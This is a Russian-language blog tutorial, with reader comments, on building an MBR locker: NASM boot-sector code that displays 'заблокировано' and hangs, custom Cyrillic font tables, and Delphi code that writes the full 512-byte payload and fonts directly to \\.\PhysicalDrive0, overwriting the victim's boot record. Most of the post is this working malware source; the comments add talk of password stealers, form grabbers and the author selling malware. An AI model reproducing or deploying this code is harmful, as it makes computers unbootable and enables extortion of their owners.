Сегодня в этой статье я
хотел бы разобрать механизмы такого зверя как mbr locker и
показать в виде кода простой пример написания таких зверей(обещал няшки после сессии )).
Огромное спасибо slesh’u за консультации по битовым матрицам.
Арсенал:
1) NASM.
я перехожу на этот компилятор в виду удобства программирования низкоуровневых
вещей.
2) Delphi (можно использовать любой удобный вам ЯП)
3)WINHEX
(HIEW или
любой удобный вам хексредактор)
4)Эмулятор (emu8086,
bochs, или виртуальную
машину)
5)Документация по прерываниям BIOS
6)Калькулятор
и так начнем.
Что собой являет mbr.
MBR это главная загрузочная запись, код, необходимый для
последующей загрузки ОС и расположен в первом секторе ЖД (или другого ус-ва).
После включения питания компьютера, проходит так называемая процедура POST тестирующая аппаратное обеспечение ,по прохождению которой BIOS загружает MBR в оперативную память по адресу 0x7C00 и передает ему управление.
С этого и начинаем отталкиваться. Т.е. пишем загрузчик.
[BITS 16]
[ORG 0x7C00]
указываем на 16 битный код и устанавливаем «нужный» адрес.
после этого мы должны настроить сегменты, при не правильно
настроенных сегментах прерывания могут «повесить» систему.
mov ax, cs
cli
mov ss, ax
mov es, ax
mov ds, ax
mov sp, entry ;
sti
ax= сегменту
кода
стэк-такой же как и сегмент кода, данные также-все в одном
месте.
при настройке запрещаем прерывания, потому что мы еще не
готовы
после настройки-включаем прерывания.
По сути дела основа есть. Дальше мы должны подумать. У нас
нет ни прерываний ДОС ни функций WINDOWS (это понятно я думаю) так что остается работать с экраном только
через прерывания BIOS.
Прежде всего произведем очистку экрана (это, кстати, сыграет
полезную роль при эмуляции через bochs)
mov ax,03
int 0x10
Теперь следующий, очень важный момент. Прерывания BIOS не
умеет\не знает русские символы. Предположим что мы затачиваем нашу малварь под
русскоязычную аудиторию.
Для того что бы мы могли писать русским нам требуется
составить битовые матрицы, записать их в файл в виде хекса и подгружать(
спасибо slesh’u за
разбор битовых матриц)
что собой представляет битовая матрица. Стандартные размеры
символов возьмем как 8х16 соответственно буква «Я» будет выглядеть так:
Как составляем такой файл. Берем рисуем любой символ с
помошью битовой матрицы.
далее каждую строку переводим в хекс и записываем в файл по
порядку начиная от ascii кода 192 до 255.
Соответственно буква «Я» будет выглядеть так:
00, 00, 7E,
C6, C6, C6, C6, 7E, 36, 66, C6, C6, 00, 00, 00, 00
Не трудно понять что каждой букве будет соответствовать 16
байт ее описания.
Дальше стает ясно, что разместить весь алфавит (даже с
заменой некоторых русских символов на латинские) нельзя. Не хватит места для
сообщения и вообще мы можем не уместиться в размер мбр-512 байт, потому что в
русском алфавите 33 буквы если для каждой составить описание получается 528байт.
Значит нам нужно составить файл шрифтов, записать его в какие либо сектора и
оттуда читать.
Думаем заранее в какие сектора будем писать, потому что это
задача высокоуровневой программы.Т.к. файл шрифтов получился у меня ровно 1кб
(1024 байта, т.к. я откинул буквы Ё и ё) .Размер одного сектора=512 байт, я
буду писать во 2 и 3 сектора.
Загрузка таблицы в память
mov ah,0x02
mov al,0x02
mov
bx,0x1000
mov
cx,0x0002
int 0x13
Вторая ф-я 13 прерывания- чтение секторов
читаем 2 сектора (2 и 3)
записываем таблицу по адресу 0х1000
чтение начинаем со 2-го сектора.
Для эмуляции на дискете нужно добавить еще xor dx,dx ибо после
передачи управления mbr в младшем байте регистра оказывается значение диска на котором мы находимся, соответственно
у дискеты он =0, высокоуровневая программа переписывает mbr таким образом что запоминать младший байт нет необходимости.
Далее это будет видно.
После чтения таблицы нужно изменить ее.
Изменение таблицы
mov ah,0x11
xor al,al
mov bp,bx
mov cx,64
mov dx,192
int 0x10
11 функция 0 подфункция
смена на пользовательскую палитру.
адрес таблицы был в bx
64 палитры
изменяем начиная с 192 символа (код АСКИ буква «А»)
Вот собсно и все. Дальше нам остается только выводить
сообщения.
mov ah,0x13
xor al,al
mov
bx,00001010b
xor dx,dx
mov
cx,msgend-msg
call msgend
msg db 'заблокировано'
msgend:
pop bp
int 0x10
jmp $
13 ф-я 0 подфунк.
писать строку.
в bx задается атрибуты символов.
0 1 2 бит- цвет символа- ярко зеленый
3 бит- яркость- яркий
4 5 6 бит- задний план- черный
7 бит- мерцание- без мерцания
выводим с
позиции начала экрана.
cx длинна
сообщения.
bp- сообщение
и зависаем в бесконечном цикле.
Я не делал ввода строки, ее проверки, возврата и записи
оригинального мбр, т.к. статья носит чисто поучительный характер, и добрые
хацкеры не будут восстанавливать мбр, а еще и таблицу разделов снесут нахрен :D для
них главное- выхлоп.
Что то отошли от темы. в завершении заполняем оставшееся
про-во 0 и указываем сигнатуру mbr.
TIMES 510-($-$$) db 0
dw 0xAA55
для эмуляции на дискете последней строчкой укажите включение
файла шрифтов
incbin
file.fnt
все. С низким уровнем мы покончили. Приступаем к написанию
высокоуровневой части.
Открываем делфю, создаем юнит, т.к. мы будем юзать чисто
АПИ.
Я додумал лишь 2 метода:
1)Разобрать все хекс редактором и создать массивы байт
2)Запихать все в ресурсы-доставать-читать-писать.
Применять буду первый.И так берем загрузчик и открываем в winhex. с помощью команды edit->copy block->pascal source получаем
готовый набор байт уже в синтаксисе Delphi. Так же делаем и с таблицей, то есть получается 3 массива.
Таблицу делим до смещения 200 - 1-ая часть, после 200 вторая часть.
имеем
mbr:array[1..512]of
byte =(
$8C, $C8, $FA, $8E, $D0, $8E, $C0,
$8E, $D8, $BC, $00, $7C, $FB, $B8, $03, $00,
$CD, $10, $B4, $02, $B0, $02, $BB,
$00, $10, $B9, $02, $00, $CD, $13, $B4, $11,
$30, $C0, $89, $DD, $B9, $40, $00,
$BA, $C0, $00, $CD, $10, $B4, $13, $30, $C0,
$BB, $0A, $00, $31, $D2, $B9, $0D,
$00, $E8, $0D, $00, $E7, $E0, $E1, $EB, $EE,
$EA, $E8, $F0, $EE, $E2, $E0, $ED,
$EE, $5D, $CD, $10, $EB, $FE, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $55, $AA
);
tbl_1S:array
[1..512]of byte =($00, $00, $3E, $66, $C6, $C6, $C6, $FE, $C6, $C6, $C6, $C6,
$00, $00, $00, $00,
$00, $00, $FE, $C0, $C0, $C0, $FC,
$C6, $C6, $C6, $C6, $FC, $00, $00, $00, $00,
$00, $00, $FC, $C6, $C6, $C6, $FC,
$C6, $C6, $C6, $C6, $FC, $00, $00, $00, $00,
$00, $00, $FE, $C6, $C0, $C0, $C0,
$C0, $C0, $C0, $C0, $C0, $00, $00, $00, $00,
$00, $00, $3C, $6C, $6C, $6C, $6C,
$6C, $6C, $6C, $6C, $FE, $C6, $82, $00, $00,
$00, $00, $FE, $C6, $C0, $C0, $F0,
$C0, $C0, $C0, $C6, $FE, $00, $00, $00, $00,
$00, $00, $D6, $D6, $D6, $54, $7C,
$D6, $D6, $D6, $D6, $D6, $00, $00, $00, $00,
$00, $00, $7C, $C6, $06, $06, $1C,
$06, $06, $C6, $C6, $7C, $00, $00, $00, $00,
$00, $00, $C6, $C6, $C6, $C6, $CE,
$DE, $F6, $E6, $C6, $C6, $00, $00, $00, $00,
$00, $0C, $DA, $C6, $C6, $C6, $CE,
$DE, $F6, $E6, $C6, $C6, $00, $00, $00, $00,
$00, $00, $C6, $CC, $D8, $F0, $F0,
$D8, $CC, $C6, $C6, $C6, $00, $00, $00, $00,
$00, $00, $1E, $36, $66, $C6, $C6,
$C6, $C6, $C6, $C6, $C6, $00, $00, $00, $00,
$00, $00, $C6, $C6, $EE, $EE, $FE,
$FE, $D6, $D6, $C6, $C6, $00, $00, $00, $00,
$00, $00, $C6, $C6, $C6, $C6, $FE,
$C6, $C6, $C6, $C6, $C6, $00, $00, $00, $00,
$00, $00, $7E, $C6, $C6, $C6, $C6,
$C6, $C6, $C6, $C6, $FC, $00, $00, $00, $00,
$00, $00, $FE, $C6, $C6, $C6, $C6,
$C6, $C6, $C6, $C6, $C6, $00, $00, $00, $00,
$00, $00, $FC, $C6, $C6, $C6, $C6,
$C6, $FC, $C0, $C0, $C0, $00, $00, $00, $00,
$00, $00, $7C, $C6, $C6, $C0, $C0,
$C0, $C0, $C6, $C6, $7C, $00, $00, $00, $00,
$00, $00, $7E, $7E, $5A, $18, $18,
$18, $18, $18, $18, $18, $00, $00, $00, $00,
$00, $00, $C6, $C6, $C6, $C6, $C6,
$C6, $7E, $06, $C6, $7C, $00, $00, $00, $00,
$00, $00, $7C, $D6, $D6, $D6, $D6,
$D6, $D6, $7C, $10, $38, $00, $00, $00, $00,
$00, $00, $C6, $C6, $6C, $38, $38,
$6C, $C6, $C6, $C6, $C6, $00, $00, $00, $00,
$00, $00, $CC, $CC, $CC, $CC, $CC,
$CC, $CC, $CC, $CC, $FE, $02, $06, $04, $00,
$00, $00, $C6, $C6, $C6, $C6, $C6,
$7E, $06, $06, $06, $06, $00, $00, $00, $00,
$00, $00, $D6, $D6, $D6, $D6, $D6,
$D6, $D6, $D6, $D6, $FE, $00, $00, $00, $00,
$00, $00, $D6, $D6, $D6, $D6, $D6,
$D6, $D6, $D6, $D6, $FE, $02, $06, $04, $00,
$00, $00, $E0, $E0, $60, $60, $7C,
$66, $66, $66, $66, $7C, $00, $00, $00, $00,
$00, $00, $C6, $C6, $C6, $C6, $E6,
$B6, $B6, $B6, $B6, $E6, $00, $00, $00, $00,
$00, $00, $C0, $C0, $C0, $C0, $FC,
$C6, $C6, $C6, $C6, $FC, $00, $00, $00, $00,
$00, $00, $78, $CC, $06, $06, $1E,
$1E, $06, $06, $CC, $78, $00, $00, $00, $00,
$00, $00, $9C, $B6, $B6, $B6, $F6,
$B6, $B6, $B6, $B6, $9C, $00, $00, $00, $00,
$00, $00, $7E, $C6, $C6, $C6,
$C6, $7E, $36, $66, $C6, $C6, $00, $00, $00, $00
);
tbl_2S:
array [1..512] of byte=($00, $00, $00, $00, $00, $7C, $C6, $C6, $C6, $FE, $C6,
$C6, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $FE, $C0,
$FC, $C6, $C6, $C6, $FC, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $FC, $C6,
$C6, $FC, $C6, $C6, $FC, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $FE,
$C6, $C2, $C0, $C0, $C0, $C0, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $3C, $6C,
$6C, $6C, $6C, $6C, $FE, $C6, $82, $00, $00,
$00, $00, $00, $00, $00, $7C, $C6,
$C6, $FC, $C0, $C6, $7C, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $D6, $D6,
$D6, $7C, $D6, $D6, $D6, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $7C, $C6,
$06, $1C, $06, $C6, $7C, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $C6, $C6,
$CE, $DE, $F6, $E6, $C6, $00, $00, $00, $00,
$00, $00, $00, $0C, $18, $C6, $C6,
$CE, $DE, $F6, $E6, $C6, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $C6, $CC,
$D8, $F8, $D8, $CC, $C6, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $3E, $66,
$66, $66, $66, $66, $C6, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $C6, $EE,
$FE, $D6, $C6, $C6, $C6, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $C6, $C6,
$C6, $FE, $C6, $C6, $C6, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $7E, $C6,
$C6, $C6, $C6, $C6, $FC, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $FE, $C6,
$C6, $C6, $C6, $C6, $C6, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $FC, $C6,
$C6, $C6, $C6, $C6, $FC, $C0, $C0, $C0, $00,
$00, $00, $00, $00, $00, $7C, $C6,
$C0, $C0, $C2, $C6, $7C, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $7E, $5A,
$18, $18, $18, $18, $18, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $C6, $C6,
$C6, $C6, $C6, $C6, $7E, $06, $C6, $7C, $00,
$00, $00, $00, $00, $10, $7C, $D6,
$D6, $D6, $D6, $D6, $7C, $10, $38, $00, $00,
$00, $00, $00, $00, $00, $C6, $6C,
$38, $38, $6C, $C6, $C6, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $CC, $CC,
$CC, $CC, $CC, $CC, $FE, $06, $0C, $00, $00,
$00, $00, $00, $00, $00, $C6, $C6,
$C6, $C6, $7E, $06, $06, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $D6, $D6,
$D6, $D6, $D6, $D6, $FE, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $D6, $D6,
$D6, $D6, $D6, $D6, $FE, $02, $06, $04, $00,
$00, $00, $00, $00, $00, $E0, $60,
$7C, $66, $66, $66, $7C, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $C6, $C6,
$E6, $B6, $B6, $B6, $E6, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $C0, $C0,
$FC, $C6, $C6, $C6, $FC, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $7C, $C6,
$06, $1E, $06, $C6, $7C, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $9C, $B6,
$B6, $F6, $B6, $B6, $9C, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $7E,
$C6, $C6, $7E, $36, $66, $C6, $00, $00, $00, $00
);
Остается лишь осуществить запись:
CreateFile('\\.\PhysicalDrive0',GENERIC_WRITE,FILE_SHARE_WRITE,0,OPEN_EXISTING,0,0);
открываем диск
WriteFile(f,mbr,sizeof(mbr),nw,nil);
записываем мбр
SetFilePointer(f,1*512,nil,FILE_BEGIN);
WriteFile(f,tbl_1S,sizeof(tbl_1S),nw,nil);
SetFilePointer(f,2*512,nil,FILE_BEGIN);
WriteFile(f,tbl_2S,sizeof(tbl_2S),nw,nil);
CloseHandle(f)
записываем таблицу во второй и третий секторы.
запись производится по формуле номер сектора*512.
закрываем диск.
Вот в общем то и все.
Результат:
В целом на этом все. Спасибо за внимание, надеюсь кому то
было интересно.
Молодец,хакер.
ОтветитьУдалитьЭто код борща!
ОтветитьУдалитьКрасавчик,статья супер!
ОтветитьУдалитьА нельзя, ли приложить сорцы? (.asm)
ОтветитьУдалитьсорец полный.просто разбит на куски для удобства
УдалитьВрубил свой мозг.
УдалитьПроблема:
Всё сделал, и загрузчик на делфи тоже, однако : нихуя.
в варки кинул сие массивы и т.д
Result := false;
Плиз хелп
ну конкретнее в чем проблема?
УдалитьКонкретно в лоадере кажется.
УдалитьМожет есть скайп / аська ?
что значит кажется?ты об отладчике слыхал?запускай в отладчике и смотри в чем проблема.
УдалитьНу не кажется, вообщем запись не происходит.
Удалитьсмотри код ошибки.
УдалитьНи 1 ошибки, в этом и дело, что делфи даже не залупается
Удалитьпричем тут делфи?для чего дебаггер придумали?делфи может и не выдавать ошибок,это всего лишь ИДЕ.
УдалитьХм...
УдалитьЛадно, загружу в ольку сие творение...
Оффтоп от мой проблемы но...
ОтветитьУдалитьМожет напишешь как написать стиллер с дешифровкой на делфи / асм?
Имеется ввиду в блоге
Удалитьчто значит с дешифровкой?
УдалитьКак у вазонеза.
УдалитьВот примеру - нирсофт
NirPassView - вот сие тулза на си плюсах
Чтобы не отсылать тупо файлы аттачем, а уже тулза их дешифрует и пускает всё temp файлы батником под каток
в паблик такое не выкидывается вообще.
УдалитьХм...
УдалитьМб тогда формграббер?
ассемблерный можно хорошо продать.
Удалитьобход ссл пока еще не придумал.разве что брать конкретный браузер.но лень заниматься.
Имеется ввиду скайп , стим, оригин.
УдалитьИли тогда хоть гайд , как писать билдер :D !
форм граббер ,на сколько мне известно, похищает данные из запросов, т.е. обычно логины\пароли.подгружается в браузер и перехватывает ф-ю из библиотеки сокетов.то что ты написал это стиллер.как писать билдер-куча материала в инете.
УдалитьОх блять, вот ты ленивец xD
Удалитьну а вот именно выдирание инфы из edit`ов других EXE ?
ничего сложного.гугл,мсдн.
УдалитьБлять, ну напиши гайд по метасплоиту / бектреку
Удалить:D
на моем ютубе есть.
УдалитьХм...
УдалитьНу а руткит?!
Или буткит...
до буткита еще далекою. первый пост в 2013 это только 1\5 часть буткита,если интересно.
Удалитьруткит-не интересно.да и если я пишу малварь то я ее продаю.и выкладываю сюда только после капитального палева.а так это моя работа,так что отдавать какие то нормальные темы в паблик не буду.
Ну ёпт...
УдалитьНапиши статью:
Учимся крякать с %username% ^^
Разбери первые 5 крякми бай фантом
я не занимаюсь реверсом.разве что малварь какую подебажить.
УдалитьНу подебажь, лучше напиши о своей лени: она у тебя пиздец :D
УдалитьУ меня возникла проблема с записью(делфи)
ОтветитьУдалитьКруто
Удалитьага, а помочь можешь?
Удалитькуда мне всю эту кучу пихать?
Удалитьчитай внимательно
УдалитьЯ создал юнит
ОтветитьУдалитьзакинул туда массивы и сижу в ступоре
компилируй
Удалитьдело в том что некомпилит...
УдалитьПервый раз на делфю.
рано значит таким еще заниматься.учи язык.
Удалитьобычный проект компилит а юнит не идёт
УдалитьПоследний вопрос:
УдалитьWriteFile(f,mbr,sizeof(mbr),nw,nil);
что в этой строчке обозначает f и nw?
слушай,все что тебе нужно знать есть в гугле,на такого рода вопросы я не отвечаю.
Удалитьпочему оно мне выводит крякозябры вместо русских букв??
УдалитьВсе норм
ОтветитьУдалитьСижу читаю такие тупые комментарии. пля ну и тупой народ, как мне это знакомо)))
ОтветитьУдалитьЛюди хотят заниматься тем,что им не известно,при этом хоть я и рассуждаю о своей лени,они еще ленивее,т.к. им сложно открыть документацию по апи функциям.в конце концов я не частный учитель по низкоуровневому коду,и нигде курсов не проходил.
УдалитьЭтот комментарий был удален автором.
УдалитьВ чем может быть проблема если не открывается хендлер \\.\PhysicalDrive0?
ОтветитьУдалитьИ с правами админа, и на С++, и на nasm просто не открывается хендлер от CreateFileA, соответственно невозможно туда что-то записать